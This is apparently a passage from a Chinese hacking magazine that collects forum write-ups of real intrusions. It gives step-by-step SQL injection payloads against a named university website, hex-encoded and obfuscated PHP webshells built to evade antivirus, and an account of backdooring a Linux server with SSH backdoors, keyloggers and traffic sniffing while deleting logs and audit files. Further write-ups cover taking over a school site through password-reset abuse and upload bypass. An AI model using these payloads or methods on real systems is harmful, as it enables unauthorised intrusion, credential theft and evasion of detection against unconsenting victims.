http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from 

pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120 

一样的方法下去我们就能猜到我们的表了。 

只要改变 (select ascii(substr(relname,1,1))第一个 1 为 2 。 

就是说第一个表的第二个字母的内容了即 (select ascii(substr(relname,2,1))。 

现在我们来看第二个表的内容是什么。 

正常： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from 

pg_stat_user_tables limit 1 OFFSET 1) between 112 and 120 

这一切和查看第一个表的第一个字母（见如下↓）的不同点是什么？ 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from 

pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120 

没错，我们只要把 OFFSET 0 改为  OFFSET 1 即可。 

结果我们得到了我们想要的管理表为：publish_admin。 

好接下来我们来看看字段是什么。 

先来构造下语句： 

得到表名为 xxx 的 oid 值： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(oid,1,1)) from pg_class where 

relname='publish_admin' limit 1 OFFSET 0) between 0 and 32768 

显示错误。 

可能 oid 类型是 oid,要数据类型兼容我们用 cast 函数强制转换成 varchar 类型： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(cast(oid+as+varchar(10)),1,1)) 

from pg_class where relname='publish_admin' limit 1 OFFSET 0) between 0 and 3276811 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from 

information_schema.columns where table_name=$publish_admin$ limit 1 OFFSET 0) between 0 and 120 

还是错误，蛋疼。 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from 

information_schema.columns where table_name=0x7075626C6973685F61646D696E limit 1 OFFSET 0) between 0 

and 120 

还是错误。 

（N 年以后，LZ 补写：） 

其实大家看这个语句，应该是没有错的，是不。语句我们是对的： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+info
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rmation_schema.columns+where+table_name= publish_admin +between+0+and+256 

但是为什么回出错呢？ 

在百思不得其解中，我想到了不是有工具吗？我们用工具抓包下。  

看看人家的是什么语句： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+info

rmation_schema.columns+where+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||ch

r(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)+limit+1+OFFSET+1)+between+0+and+256 

正确！ 

大家看到没？ 

table_name= publish_admin  

table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100

)||chr(109)||chr(105)||chr(110)  

绕过去了。出来了。这就是爆字段的语句。 

我们来继续看看怎么爆字段的内容 其实还是可以这样的： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),nul

l,version(),version(),version(),null,null,version(),version(),column_name+from+information_schema.columns+whe

re+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(

100)||chr(109)||chr(105)||chr(110)+limit+1+offset+0+--+ 

不过这不是我们今天的目的： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(aid,1,1))+from+publish_admin

+limit+1+OFFSET+0)+between+0+and+236 

不对？ 

再来看看： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),nul

l,version(),version(),version(),null,null,version(),version(),rank+from+publish_admin-- 

丫的但是盲注不行啊。蛋疼啊。 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(rank,1,1))+from+publish_admi

n+limit+1+OFFSET+0)+between+0+and+236 

哦是可以的。搞定了！ 

（全文完）责任编辑：随性仙人掌 

第2节. PostgreSQL 注入常见问题总结 

作者：YoCo Smart 

来自：Silic Group Hacker Army 

网站：http://blackbap.org 

本文基于《PostgreSQL 注入语法指南》而写，首先我们先来总结常见问题，常见问题有这 

样几个： 

如何判断数据库使用了 PostgreSQL 数据库，字段数和字段间编码问题，GPC 为 on 时的字符

型字段问题，注释符问题。我们一个一个讲 

1) 如何判断 php 搭配数据库为 PostgreSQL 

2) 我们假设一个 php+PostgreSQL 并且开启了错误回显的网站有一个注入点，我们在

xx.php?id=n 后面加单引号'，它的回显将会是这样的： 

Warning: pg_query() [function.pg-query]: 
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Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: select * from now where no = 111' ^ in 

/home/sites/web/school/detail.php on line 307 

有这样几个关键字可以判断数据库为 PostgreSQL： 

操作 PostgreSQL 的函数 pg_query() 

关键字 function.pg-query 中的 pg 

看熟了 MySQL 的错误回显，有没有发现这个 unterminated quoted string at or near 不是 MySQL

的。MySQL 的错误回显和这个区别太大了 

3) 字段数和字段间编码问题 

4) 我们首先将上面的注入点 order by 2 可以确认 now 数据表的字段数大于 2，当我们 order 

by 2000 的时候，显然不可能有那个表段中有 2000 条数据，当然会出错 

Warning:pg_query() [function.pg-query]: 

Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 

307 

这样大致可以确认可以猜出正确的字段数了。 

假设字段数为 14，那么我们按照 MySQL 的步骤  

xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 

这句没问题吧？但是它 99%概率会出问题了： 

Warning: pg_query() [function.pg-query]: 

Query failed: ERROR: UNION types character varying and integer cannot be matched in 

/home/sites/web/school/detail.php on line 307 

这个回显是什么意思呢？问题很简单，union 前后的字段数相同了，但是类型不同了。 

这就像大家来找茬：  

Union 前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文, 

Union 后(我们注入的)：SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数, 

和我们要来找茬游戏差不多，我们要做的就是矫正字段与字段间的区别。 

错误提示中没有提示这 14 个中，哪一个字段出问题了，我们要一次性让字段数对工整了恐

怕有 n 的 14 次方种可能，怎么办呢？ 

很简单，先吧 1,2,3,4.....13,14 这些字段统统换成 NULL，例如：  

xx.php?id=正确的 id 数字 

+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null 

这样就会正确显示原来的新闻页面了。 

然后我们试着把 null 依次换成数字，依次替换一个，如果依然返回正确的新闻页面则保留数

字并替换下一个，如果返回错误信息就重新换回 null 并继续替换下一个。 

这样我们就得到：  

Union 前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 

Union 后(我们注入的)：SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数 

实际中，数字型是占少数的，一般我们都是用文本型做显示位的。 

找出文本型显示位很简单，和数字一样，依次替换并确认，只不过这次不是替换成数字，而

是替换成文本，例如'a'：  

Union 前(程序原来的)：SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数 

Union 后(我们注入的)：SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',数,'a',数,'a',数 

这样就明了了吧？ 

最后应用于实际：  

xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6 
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这样八九不离十会出显示位的。 

5) GPC 设置为 on 问题 

PHP 有个功能是魔术引号，学称“自动字符串转义”，就是你把.php?id=3'or'1'='1 访问后 PHP

自动给你转换成.php?id=3\'or\'1\'=\'1 然后进行下一步动作 

问题在哪里呢？ 

上面我们讲了，将字符型字段替换为'a'来依次确认，GPC 为 on，岂不是'a'都变成了\'a\'？ 

没错，是变了。那么这步就不能进行？答案是能。要知道，计算机是人设计的，人是计算机

灵感的来源。 

首先向，我们注入的目的是什么？ 

显示内容。 

那么我们为什么要让它使用'a'呢？'a'只不过是个用来判断的字符，和 and 1=2 一样，只是用

于判断，无实际意义，and 1=2 可以替换成 1=3，1=4，甚至 1=1000000000000000000000，

这只是用来判断而已，没意义。 

如果我们将'a'换成有意义的呢？例如 version()就可以不需要加引号，比较一下：  

xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6 

xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6 

整个语句没有用到任何一个单引号。 

6)注释符问题 

PostgreSQL 的注释符不是#，也就是说，末尾如果有语句未结束，不能加/*或者%23 来终止。 

那么用什么呢？显然是 MySQL，MSSQL，SQLite 还有 PostgreSQL 各种通用的“--”，也可以换

成%2b%2b，一样的效果。 

很好记，2B，二逼。测试中%2b%2b 有可能会造成访问的短暂失去响应，目前不知道问题在

哪里，而横线--则不会出现。 

7) 小技巧 

PostgreSQL 的管理员账户(类似于 MySQL 的 root，MSSQL 的 sa)名字为 postgres，根数据库(类

似于 MySQL 的 mysql 数据库，MSSQL 的 master 数据库)名字为 postgres。 

root 和 sa 有设置空口令的二逼管理员，PostgreSQL 也有很多设置空口令的二逼管理员。 

遇到过一些给 PostgreSQL 设置了 nologin 的 bash shell，后面你懂的，可以尝试登陆它的 shell 

好了说了这么多，都是理论。我们开始实践吧。 

目标日本东京大学：http://www.u-tokyo.ac.jp 

这个例子来自本论坛的帖子《PostgreSQL 盲注笔记》这个大牛愣是盲注把 PostgreSQL 给注了。 

虽然是很牛的办法，不过我想说，还有更简单的。我们看注入点： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15--    页面正确 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16--    页面错误 

没有错误回显。但是可以确定字段数位 15，显然 

union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 

以后也是错误的页面，否则不需要盲注了都。 

那么我们这样呢？  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,

15--    错误页面 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,n

ull,null,null,null,null,null,null,null--    正确页面 

下一步就是依次替换得到数字类型的字段和文本类型的字段了：  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null

http://www.u-tokyo.ac.jp/
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,null,null,null,null,null,null,null-- 

很可惜，这个页面只有第 3 个字段是数字型，其他都不是，证据就是，上面剩下的任何一个

null 替换成数字，都会显示页面错误。 

那么咱们替换文本类型好了，替换任何一个 null 为'a'都会出现错误页面，为什么呢？答案就

是，gpc 为 ON，导致'a'变成了\'a\'。 

盲注帝估计当时就是卡在这里了。 

不过好在本文前面说了，GPC 为 on，就不要用'a'了，用 version()代替就好了：  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),nul

l,version(),version(),version(),null,null,version(),version(),version()+-- 

得到回显：PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 

4.4.5-6), 64-bit 

实际应用上面，其实我们只需要替换出来一个显示位就够了。 

闲的蛋疼的人才去确认哪个显示位是什么类型 — —！  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,null,null,null,null,null,null,null,null,null,nul

l,null,null,null,datname+from+pg_database+limit+1+offset+0+--+ 

PostgreSQL 的 limit y offset x 

是和 MySQL 的 limit x,y 一样的用法。 

limit 1 offset 0 是第一条数据，limit 1 offset 1 是第二条数据。依次类推。 

好了，后面的我就不说了，要继续搞，参照本论坛（习科论坛）的 PostgreSQL 注入手册来

好了，虽然还是有点不太省事，不过总之，盲注能是不需要了。 

（全文完）责任编辑：随性仙人掌 

第3节. 数据库 outfile 写 shell 一点心得 

作者：Nana 

来自：Silic Group Hacker Army 

网站：http://blackbap.org 

昨天在一个 mysql 数据库的 console 里面直接导出一句话的时候 

用这种网上说的直接写出不成功 

select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 

'e://appserv//www//xoops//modules//wordpress//app.php';  

还是老老实实建表再写 

select code from text into outfile 'e://appserv//www//xoops//modules//wordpress//app.php';  

而且对于 windows 一定得用上面这样的形式的绝对路径 

网上的大部分都是说的 linux 下的 

刚碰到一个 root 空口令的 MySql，进 phpMyAdmin，outfile 成功，但是无法 load_file。 

如下解决： 

建表: 

create table test (a text); 

insert into test (a) values (load_file('c:\\boot.ini')); 

select * from test; 

成功解决。 

（全文完）责任编辑：随性仙人掌 
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第4节. MySQL 注入解决方括号[table]前缀问题 

作者：YoCo Smart 

来自：Silic Group Hacker Army 

网站：http://blackbap.org 

前言： 

在进行 MySQL 注入的时候，可能很少有人遇到这个问题，不过我今天遇到了。注入的时候，

MySQL 5.x 的数据，进行 

select table_name from information_schema.tables where tabel_schema=database 

语句的时候，出来的表段带着这样一个前缀[table]，暂时还没遇到过其他的前缀。 

刚开始的时候我就觉得奇怪了，怎么会有表段叫这个名字。 

后来发现，将[table]xxxx 直接带入语句中，显示表不存在 

Table 'down.[table]sessions' doesn't exist 

不过还是解决了这个问题。 

正文： 

首先我们来看第一条语句： 

%2527union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+table_name+from+informatio

n_schema.columns+where+table_schema=database()+and+column_name+like+%2527%25pass%25%2527+limit+

0,1),0x3a)a+from+information_schema.tables+group+by+a)b%2523-1.html 

爆出字段名含有"pass"的表段中的第一个，如图 2-4-1： 

 

图 2-4-1 

我们看到这个表段名称是[Table]backyard_sessions 

这个时候我把这个表段带进注入语句，却发现提示错误，如图 2-4-2： 

 

图 2-4-2 

Table 'down.[table]backyard_sessions' doesn't exist 的意思就是说这个表不存在。 
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找了很长时候，无果，蛋疼，后来想，会不会是显示过程中有什么字符被转义为方括号[]了？ 

于是用了一下 hex： 

%2527union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+hex(table_name)+from+infor

mation_schema.tables+where+table_schema=database()+limit+48,1),0x3a)a+from+information_schema.tables+g

roup+by+a)b%2523-1.html 

结果发现得到的 HEX 值远远小于预期，如图 2-4-3： 

 
图 2-4-3 

但是如果我在 hex()外面再加个 unhex()，结果又成了方括号了。 

那就用手工进行 unhex，发现得到的结果 785F73657373696F6E73 转为 ASCII 是"x_sessions" 

这就说明服务器处理的时候用[table]代替了 x_。 

好吧，这篇帖子要讲的已经讲完了，估计遇到这种情况的人不多，帖子初衷就是希望以后遇

到这种情况的人不会束手无策，这个情况是有解决方法的。 

（全文完）责任编辑：随性仙人掌 

第三章 常规渗透 

第1节. Linux 内网渗透的思路 

作者：Chaplin 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

一.漏洞发现: 

因为网站较多，就先用 wvs 扫一遍、然后等结果 

确实有些缺陷，用网站弱口令来进行测试，如图 3-1-1： 

 

图  3-1-1 
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并且能成功的登陆后台，如图 3-1-2：（前期用 google 浏览器无法直接登陆，换 IE 即可） 

图  3-1-2 

二.突破上传： 

正常情况下是无法进行上传.jpg,gif,png 之外的文件，使用 burp suite 来进行突破上传，方法

很简单，截断上传即可，如图 3-1-3，图 3-1-4： 

 

图  3-1-3 

 

图  3-1-4 



《安全参考》——信息安全整合型期刊     官方网站：www.hackcto.com    杂志编号：HACKCTO-2013-09 

第 49 页 / 共 113 页  官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    定价：20 元 

三.安装后门： 

进入系统后，我的 RP 是如此滴多娇，如此滴辉煌，竟然是 root 权限，如图 3-1-5： 

 

图  3-1-5 

查看下 passwd 账号信息，如图 3-1-6： 

 

图  3-1-6 

目录树结构，如图 3-1-7： 

   

图 3-1-7 
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因为既然要内网渗透，权限可能会随时丢失，下面就先安装个 ssh 后门，本来是想安装 pam

后门呢，因为所有账号登陆服务器时都要验证 pam 模块，而 pam 后门刚好可以截取用户密

码，但是呢，看他内核是（Linux jcms 2.6.32-71.el6.i686 #1 SMP Wed Sep 1 01:26:34 EDT 2010 

i686 i686 i386 GNU/Linux）肯定是 redhat/centos6 的系统、事实胜于雄辩，如图 3-1-8： 

 

                                   图  3-1-8 

确实是 6.0 的，而且还是 redhat 企业版操作系统，有点头疼了，至于为什么？一会你就知道

了,下面安装 openssh 后门。 

一. 下载并解压后门 

下载并解压，如图 3-1-9： 

 

图  3-1-9 

二.后门编译： 

如图 3-1-10，图 3-1-11，图 3-1-12： 
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图  3-1-10 

 

图  3-1-11 

 

图  3-1-12 
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编译成功，现在是内网环境，我必须要把 ssh 的 22 端口给映射出来，对嘛、再加上是 root

权限，比较幸福咯。 

三.端口转发： 

前提必须有个公网 IP 的服务器,先把 lcx 传到服务器准备一下，如图 3-1-13： 

 

图  3-1-13 

本地监听端口，如图 3-1-14： 

图  3-1-14 

第一次搭配出错了，再来，搭配成功，如图 3-1-15： 
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图 3-1-15 

四.修改日志记录： 

因为所做的操作都有可能被记录在日志里面，我事先就先把日志给注释掉咯，如图 3-1-16： 

 

图  3-1-16 
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五.信息收集： 

老思路：先探测下网络里面到底有多少存活的主机，如图 3-1-17： 

图  3-1-17 

然后查看 ssh 是否有信任关系，如图 3-1-18： 

图  3-1-18 

可惜的是，没有一个能够登陆上，检查 kerberos 也没信息，rsync 也没安装，Mount 也没远

程挂在任何命令，在 history 里面查看到经常登陆的 IP，如图 3-1-19，图 3-1-20，图 3-1-21： 

 

图 3-1-19 
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图 3-1-20 

 

 

图  3-1-21 

哎！都没什么希望，进行下一步吧。 

六.键盘记录： 

我比较喜欢 LD_keylog 非本地记录，可以记录在本机 ssh，rsync，su 的所有操作，国内这东

西很少，大家见识下吧，如图 3-1-22： 

 
图  3-1-22 

配置下要存放的位置以及命令的嗅探，如图 3-1-23： 
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图  3-1-23 

测试表明，键盘记录好使，就是不是太准确，不过配合 history 是没什么问题了，如图 3-1-24： 

图  3-1-24 

七.配置 yum 源： 

下面安装 ettercap，安装 ettercap 我就直接用 yum 安装了，但是呢？我发现了一个问题、此

系统是 redhat 企业版 6.0的操作系统，这种 yum 源网上不好找的，我也不想费劲再服务器

上下载一个 redhat iso 镜像，自己搭建一个 yum 源来提供下载，而且也不是很安全，所以呢？

就想办法让 redhat yum 源使用 centos yum 源来进行安装、默认情况下是不行的哟、建议别

试。小心你的系统安装的包不兼容出毛病！ 

1、删除 redhat 原有的 yum 源 

# rpm -aq | grep yum|xargs rpm -e --nodeps 

2、下载新的 yum 安装包  

这里我们已经事先把所有包都打包好了，如图 3-1-25： 

 

图  3-1-25 
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安装成功后，配置 yum 源，如图 3-1-26： 

图  3-1-26 

Yum 源测试，如图 3-1-27，图 3-1-28： 

 

图  3-1-27 

图  3-1-28 

Ok，yum 没问题，下面进行 ettercap 的安装。 

八.安装 ettercap： 

有了 yum 啥都好办了，哈哈，直接 yum install 吧，如图 3-1-29： 

安装完毕后查看下 ettercap 的安装路径，如图 3-1-30： 
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图  3-1-30 

查看 ettercap 所嗅探的端口（不必要修改，常用的 80,636,21,22,25,110,23 都在里面，默认足

够了已经），如图 3-1-31： 

 

图  3-1-31 
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下面就来进行使用 ettercap 嗅探吧。 

九.使用 ettercap 进行内网嗅探： 

嗅探时遇到的问题、因为是用 yum 来进行安装的 ettercap，所以比较新，是 0.7.5，ettercap0.7.5

之后推出了又 ipv6 的嗅探方式。 

所以跟 0.7.3 的一些参数有所不同，如图 3-1-32，图 3-1-33，图 3-1-34： 

 

图  3-1-32 

 

图  3-1-33 
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图  3-1-34 

问题解决后，就可以嗅探了、但是，嗅探不是短时间就能嗅探到的，而且你也不能盯着电脑，

或者说如果设置了终端超时怎么办？一旦终端断掉，你的进程也会跟着断开。所以呢？我们

使用一条 nohup 命令，Nohup 的意思是不挂断地运行命令，如图 3-1-35： 

 

图  3-1-35 
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Ok，已经成功放在后台运行，下面来测下，嗅探是否给力哟，如图 3-1-36： 

 

图  3-1-36 

可以嗅探到东西就行。 

十.删除 aide 文件审计： 

在清理尾巴的时候看到了一个目录，aide，我突然就联想到了我所改的文件是不是都被记录

下来了。哎呀！差点出事，如图 3-1-37,图 3-1-38,图 3-1-39： 

图  3-1-37 

图 3-1-38 
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图  3-1-39 

直接删掉，我让你检查！哈哈，如图 3-1-40： 

 

图  3-1-40 

好吧，快 2 点了，睡觉，明天看结果。 

十一.查看嗅探内容： 

查看下嗅探的结果，果然嗅探出来数据了，但是中间有很多不必要的一些信息。 

我需要删除它，如图 3-1-41： 
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图  3-1-41 

那就是用 sed 命令吧，如图 3-1-42： 

 

图  3-1-42 
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可以看到下图，不必要的信息已经完全删除完毕，如图 3-1-43： 

 

图  3-1-43 

十二.安装桌面环境 

既然有内网地址的账号和密码以及 url，就要进他们内网针对网站再次渗透。一个 SSH Socks

代理，一个 vnc，我肯定会选择后者，操作起来很方便。但是，因为内网的 ip 外网是无法访

问的，所以我就安装 vnc，然后将 vnc 的 5900 端口转发的外网，进入。问题又来了，一般的

服务器肯定不会安装桌面环境，这样即使你把 vnc 给安装成功，端口也转发出来了，连接上

去也是没有图形化界面，这样你还是不能运行浏览器来进行内网渗透、所以第一步先安装

firefox 和桌面环境。 

①先安装 firefox 

如图 3-1-44： 

 
图  3-1-44 
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②安装桌面环境，共需要装 2 个组 

如图 3-1-45，3-1-46，图 3-1-47： 

图  3-1-45 

 

图  3-1-46 
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图  3-1-47 

安装成功后下面就安装 vnc 了，安装 vnc，如图 3-1-48： 

图  3-1-48 

配置 vnc，如图 3-1-49，图 3-1-50： 
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图  3-1-49 

 

图  3-1-50 

使用端口转发，将 5902 端口转发出来即可连接，如图 3-1-51： 

 

图  3-1-51 

然后可以继续内网渗透，END。 

（全文完）责任编辑：Rem1x 
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第2节. 小记检测一垃圾小游戏下载站 

作者：想念那寡妇 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

话说今天倍感无聊，点开群信息，见一基友求助，如图 3-2-1： 

 

图  3-2-1 

登陆后台看了下，功能少的可怜，只找到一个编辑器的上传页面，如图 3-2-2： 

 

图  3-2-2 

图片，多媒体，都试了一遍，提示的弹窗里可以上传的文件类型很干净，没人留下的足迹，

右键查看源代码，查找 eweb，发现编辑器的目录比较特殊。 

可以看到：/SlHot_Editor/，如图 3-2-3： 

图  3-2-3 

不管它,先下数据库先，喵了个咪的，不让下啊，如图 3-2-4： 

图  3-2-4 
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也有后台登陆，各种弱口令，试了 N 久,进不去，一时陷入僵局，后来想到过在论坛里下载

过一个 webeditor2.8.0 的编辑器的注入漏洞，翻到那篇文章按照里面的方法，构造

URLewebeditor.asp?id=article_content&style=full_v200，结果是这个页面，如图 3-2-5： 

图  3-2-5 

想来想去，只能从编辑器下手了，编辑器的目录那么特殊，于是，谷歌搜索

inurl:/SlHot_Editor/，找到了几个存在遍历漏洞的网站，直接下载数据库，下对比了下，居然

是同一个密码，人品来了，直接找基友破解，登陆编辑器后台，拿到了 shell，如图 3-2-6： 

图  3-2-6 

（全文完）责任编辑：Rem1x 

第3节. 通过找回密码拿下一个中学站 

作者：猥琐蜀黎 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

禁止搞破坏，小白教程，大牛勿喷，这篇文章我前天日一个基友给我的站的过程，一直想共

享出来可惜没时间，现在就开始了不扯了。目标网站是一家中学，如图 3-3-1： 
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图  3-3-1 

Asp 的网站，程序不明，当时手头没啥工具，随便点了一个页面看看，如图 3-3-2： 

 

图  3-3-2 

当时我看到了编辑者 xunzi，我的感觉这个是一个账号对吧，一般日站我有时候也喜欢看看

发表有没有作者的名称我遇到的百分八十是管理员账号，后台是默认后台，试了各种密码弱

密码无果后回到首页，我看到了个东西，突然有个想法，如图 3-3-3： 
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图  3-3-3 

想到通过忘记密码来试试 ，而且在这里也给大家讲个小窍门，如图 3-3-4，图 3-3-5： 

  

                 图  3-3-4                                      图  3-3-5 

我们可以通过这个找回密码功能来判断有没有这个账户。 

我填的是正确的就弹出问题错误，如图 3-3-6： 

 

图  3-3-6 

我继续测试 xunzi 这个账号，我猜了一阵子，自己想的都不对，于是先去收集这个账号的信

息，翻着翻着，翻到个邮箱我就习惯的去谷歌了。 

谷歌了一下看到下面这些，RP 真好，如图 3-3-7： 
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图  3-3-7 

我看到这个，网管中心，全部会员，我就点进去看看，如图 3-3-8： 

图  3-3-8 

好大一堆资料，好吧，点全部会员看看能不能看其他人的 ，有没我们想要的，如图 3-3-9： 

 

图  3-3-9 
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看到了吧，确实有我们要的账号的信息，还有 xunzi，我们看下，如图 3-3-10： 

图  3-3-10 

真实姓名，找回密码里面，有一个答案就是真实姓名 ，第一个我答对了，第二个真实姓名

我不知道，现在跳回去试试，如图 3-3-11： 

   

图  3-3-11                            图  3-3-12 

我觉得是正确的，因为我测试过账号 admin，密码 admin，里面的真实姓名是对的，就是答

案我随便写一个是错的，而这个 xunzi，之前猜的时候，我猜出了答案，不知道姓名，现在

有了试试吧，如上图 3-3-12。 

成功了，设置成 123456 吧。OK，到后台登陆，如图 3-3-13： 

图  3-3-13 
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很老一款系统，没见过，翻翻看有啥，在网站属性看到这个，如图 3-3-14： 

 

图  3-3-14 

邪恶了，加个后缀，如图 3-3-15： 

 

图  3-3-15 

好，来找个上传地方测试，这里就弄个增添文章，如图 3-3-16，图 3-3-17： 
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图  3-3-16 

 

图  3-3-17 
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我勒个去，没事回去再换个后缀试试，改成 asa; 成功上传了。 

我上传的是大马，所以久了点，如图 3-3-18： 

 
图  3-3-18 

点击那个图片，右键，如图 3-3-19： 

 

图  3-3-19 

在新窗口打开链接，OK，如图 3-3-20： 
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图  3-3-20 

提权方面，等有空写吧，嘿嘿，基友们，写的不好见谅，打着这些码累死了，不打了，MMD

的，谁挂黑页，谁木 JJ。 

（全文完）责任编辑：Rem1x 

第四章 WAF 绕过 

第1节. 找到 CloudFlare 真实主机 py 小脚本，不要再怕 cdn 

作者：Barrett 

来自：Silic Group Hacker Forum 

网址：http://bbs.blackbap.org/ 

找官方网站测试就可以了 ，直接上脚本。 

附上代码吧。省得小伙伴们不放心刚学 python 请大家多多指教！ 

import socket 

class CloudFlare: 

        def __init__(self): 

            print ''' 

            +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 

            + Compilation By :Barrett                                 + 

            + Thanks for     :MecTruy                                 + 
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            + Our site       :bbs.blackbap.org                        + 

            +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 

                  ''' 

            subdomain_listesi = ["cpanel.","ftp.","mail.","webmail.","direct.","direct-connect.",             

"record.","status.","server."]      

            site_url=raw_input("[+] Site Url (Example : xx.com) : ")      

            print "\n"      

            for deneyici in subdomain_listesi: 

                try: 

                    ip_al = socket.gethostbyname(deneyici + site_url) 

                    print "[#] " + deneyici + site_url +  ", " + ip_al + " --Over...\n" 

                except Exception, e: 

                    e = "";      

x = CloudFlare() 

代码附件下载地址：http://pan.baidu.com/share/link?shareid=1680449715&uk=1379004958 

（全文完）责任编辑：Rem1x 

第2节. [学习 php 的小成果]过 360、安全狗一句话 

作者：raindrop 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

只测试了 360 网马查杀和安全狗网马查杀，均未被发现。 

PHP 代码： 

range(1,200)----新建一个 1 到 200 的数组。  range(a,z)就是一个 a 到 z 的数组；大小写有 

区别 chr()----转换 ASCII chr($a[51])--------是密码 4，实际是 chr(52)。也可以把[chr($a[51])] 

改为['4']，$a[51]就是数组的$a 的第 51 个数的值（52）。因为数组的值是从 0 开始数的，所 

以第 51 位为 52，如图 4-2-1： 

   

  图  4-2-1 

一句话 php 代码： 

<?php $a = "a"."s"."s"."e"."r"."t";  $a(${_POST}['4']); ?> 

assert()----跟 eval()意思差不多都用来执行语句的。 

重点是{}，变量分离;这样{}中的就是字符串，也就可以把_POST 转码。 

php 代码： 

<?php   

$f4ck="LOVE";    

<?php   

$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);   

$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);   

?> 
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echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck   

?> 

（全文完）责任编辑：Rem1x 

第3节. 记一次撸过快乐男声领奖骗子站 

作者：pizi.liu 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

这篇文章没有任何亮点和技术含量，纯属运气拿下的 

前几天我爸给俺转发了个短信，让领奖。问是真的假的，是《快乐男声》领奖，假的也太 

明显了，然后俺嘞除恶扬善的精神就迸发了。 

我看了一下后台填写的信息，里面男女老少都有，都不知道怎么想的，如图 4-3-1： 

 

图  4-3-1 

一、祭出神器开扫 

扫的过程中顺道刷新了一下网站，有狗，还是新狗，扫描是行不通了，不过刚开始的时候扫

到一个后台路径，打开，弱口令无果，加分号报错，如图 4-3-2： 

 

图 4-3-2 

这里有个地方不是很明白，我网上搜了很多万能密码，都不能用，但是我又试了一遍，开 

时候'or 1=1-- 进不去，后来我又试过一遍，神奇的进去了。后来再试，就不行了。谁能解

释一下，如图 4-3-3： 
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图  4-3-3 

二、拿 shell 

发现有很多人的信息，不知道他们有没有真的打钱，不过这些信息应该是真的，为了不让更 

多人受骗，改中奖信息和打款金额给丫治脚气，如图 4-3-4： 

 
图  4-3-4 

本来我点修改模板的时候，是爆刚开始那个错误的，所以准备就这么着了，但是刷新了一下，

就能访问了，是不是人品爆发了。 

有狗，所以改个过狗的马，如图 4-3-5，4-3-6： 
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图  4-3-5 

 

图  4-3-6 

权限很松，翻看网站目录，还有几个，都是这类的骗纸站，都是中国好声音的几个 

可能域名不止这几个，因为有几个目录跟域名不对照： 

ctcnx.com       hdzvt.com  这个是 QQ 炫舞的，估计是盗号的； 
